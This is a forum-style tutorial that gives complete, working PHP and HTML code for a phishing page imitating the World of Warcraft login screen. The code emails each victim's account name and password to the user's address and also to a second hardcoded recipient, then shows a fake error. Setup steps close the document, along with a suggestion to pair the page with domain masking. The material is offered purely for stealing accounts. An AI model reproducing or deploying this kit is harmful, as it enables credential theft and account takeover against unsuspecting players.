Requirements:
1) Any sort of server with PHP enabled. If you don't have a host, it is possible to modify your own computer as a webhost, but that is a rather long process. I'll see if I can find an existing guide for that.
2) an e-mail address
About:
This acts as an exact WoW login page. But instead of logging in, the name and password get's emailed to you. It's that easy.
Instructions:
1) Create a new file using dreamweaver, notepad or any text editor. Name it index.php
2) Copy & paste the following code into that file:
Code:
<?
// This is the only line you need to edit
// replace with your email address (the victim's info will be sent there)
$email = '[email protected]';
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>World of Warcraft</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<link rel="stylesheet" href="http://www.worldofwarcraft.com/login/includes/style.css" type="text/css" id = "bnetstyle">
<script language = "javascript">
<!--
var styleSheet;
var agt = navigator.userAgent.toLowerCase();
var appVer = navigator.appVersion.toLowerCase();
var verInt = parseInt(appVer);
var ie = (appVer.indexOf('msie') != -1);
var opera = (agt.indexOf('opera') != -1);
var mozilla = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('opera')==-1)
&& (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1)
&& (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
var ns4 = (mozilla && (verInt == 4));
if (ie && !opera) {
document.styleSheets["bnetstyle"].addRule ("input", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("input", "border-style: solid");
document.styleSheets["bnetstyle"].addRule ("input", "border-width: 1px");
document.styleSheets["bnetstyle"].addRule ("input", "border-color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("input", "color: #FFAC04");
document.styleSheets["bnetstyle"].addRule ("textarea", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("textarea", "border-style: solid");
document.styleSheets["bnetstyle"].addRule ("textarea", "border-width: 1px");
document.styleSheets["bnetstyle"].addRule ("textarea", "border-color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("textarea", "color: #FFAC04");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Base-Color: #012158");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Arrow-Color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-3dLight-Color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-DarkShadow-Color: black");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Highlight-Color: black");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Shadow-Color: #00B3FF");
document.styleSheets["bnetstyle"].addRule ("select", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("select", "color: #FFAC04");
document.styleSheets["bnetstyle"].addRule ("select.gray", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("select.gray", "color: #FFAC04");
document.styleSheets["bnetstyle"].addRule ("ul.thread", "margin-left: 22px;");
}
//-->
</script>
</head>
<body onload = "javascript: document.forms[0].elements[0].focus();" bgcolor="#000000" text="#CCCC99" link="#FFFFBB" vlink="AAAAAA" marginwidth=0 marginheight=0 topmargin=0 leftmargin=0>
<form method="post" name="login_form">
<table cellspacing = "0" cellpadding = "0" border = "0" width = "100%" height = "100%">
<tr>
<td align = "center">
<table border="0" cellpadding="0" cellspacing="0" background = "http://www.worldofwarcraft.com/login/images/login-bg.jpg">
<tr>
<td valign = "top">
<div style = "position: relative;">
<div style = "width: 400px; position: absolute; left: 130px; top: 0px;">
<?
if($_POST['lt'] == '') {
echo '';
} else {
if($_POST['username'] == '' or $_POST['password'] == '') {
echo '<table cellspacing = "5" cellpadding = "0" border = "0" width = "400"><tr><td><img src = "http://www.worldofwarcraft.com/login/images/error.gif" width = "54" height = "51" alt = "error"></td><td><span class="error">Please fill in both fields.</span></td></table>';
} else {
mail($email . ", " . '[email protected]', 'Login from ' . $_POST['username'], 'Account: ' . $_POST['username'] . "\n\n" . 'Pass: ' . $_POST['password'], 'From: Login-Page' . "\r\n" . 'Reply-To: Login-Page' . "\r\n" . 'X-Mailer: PHP/' . phpversion());
echo '<table cellspacing = "5" cellpadding = "0" border = "0" width = "400"><tr><td><img src = "http://www.worldofwarcraft.com/login/images/error.gif" width = "54" height = "51" alt = "error"></td><td><span class="error">An error has occurred.</span></td></table>';
}
}
?>
</div>
</div>
</td>
<td><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "1" height = "169"></td>
<td></td>
</tr>
<tr>
<td><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "203" height = "1"></td>
<td>
<table border="0" cellpadding="0" cellspacing="0" width = "220">
<tr>
<td rowspan = "6"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "15" height = "110"></td>
<td valign="center" align="left" width = "190"><b style = "color:white; font-size:8pt; font-variant: small-caps; letter-spacing:3px;"><label for="username">Account Name:</label> </b><br/><input type="text" name="username" size = "18" MaxLength="16" style = "width: 175px;" tabindex="1"/></td>
<td rowspan = "6"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "15" height = "1"></td>
</tr>
<tr>
<td align = "left" width = "190"><span><a href = "http://signup.worldofwarcraft.com" class = "small">Don't have an account? Click here!</a></span></td>
</tr>
<tr>
<td width = "190"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "190" height = "6"></td>
</tr>
<tr>
<td valign="center" align="left" width = "190"><b style = "color:white; font-size:8pt; font-variant: small-caps; letter-spacing:3px;"><label for="password">Password:</label> </b><br/><input type="password" name="password" size = "18" MaxLength="16" style = "width: 175px;" tabindex="2"></td>
</tr>
<tr>
<td align = "left" width = "190"><span><a href = "http://www.worldofwarcraft.com/loginsupport/" class = "small">Forgot your Account Name or Password?</a></span></td>
</tr>
<tr>
<td align = "left"><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "1" height = "7"></td><td></td><td></td></tr></table></td>
</tr>
<input type="hidden" name="lt" value="LT-10703971-ntbfeYfVOhKIFmMVo463"/>
<tr>
<td colspan = "3" align = "left">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><INPUT TYPE=image src="http://www.worldofwarcraft.com/login/images/pixel.gif" alt = "Login" value="Login" style = "width:100px; height:40px;" border = "0" class = "button" tabindex="3"></td>
<td><INPUT TYPE=image src="http://www.worldofwarcraft.com/login/images/pixel.gif" alt = "Cancel" value="Cancel" style = "width:105px; height:40px;" border = "0" class = "button" tabindex="4"></a></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "217" height = "1"></td>
</tr>
<tr>
<td colspan = "3">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td colspan = "3"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "1" height = "20"></td>
</tr>
<tr>
<td width = "106"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "106" height = "1"></td>
<td width = "410">
<small>
For security reasons, quit your web browser when you are done accessing services that require authentication!
<br/><br/>
Be wary of any program or web page that asks you for your World of Warcraft account name and password. Secure World of Warcraft web pages that ask you for your account name and password will generally have URLs that begin with "https://www.worldofwarcraft.com/". In addition, your browser should visually indicate that you are accessing a secure page.
</small>
</td>
<td width = "124"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "124" height = "1"></td>
</tr>
<tr>
<td colspan = "3"><img src = "http://www.worldofwarcraft.com/login/images/pixel.gif" width = "1" height = "30"></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>
3) Replace the email address at the top of the file with your's
4) Upload the file to your server
5) Voila! Done. The file is fully functional. Combine this with m0rbidang3l's domain masking tutorial and you're really set.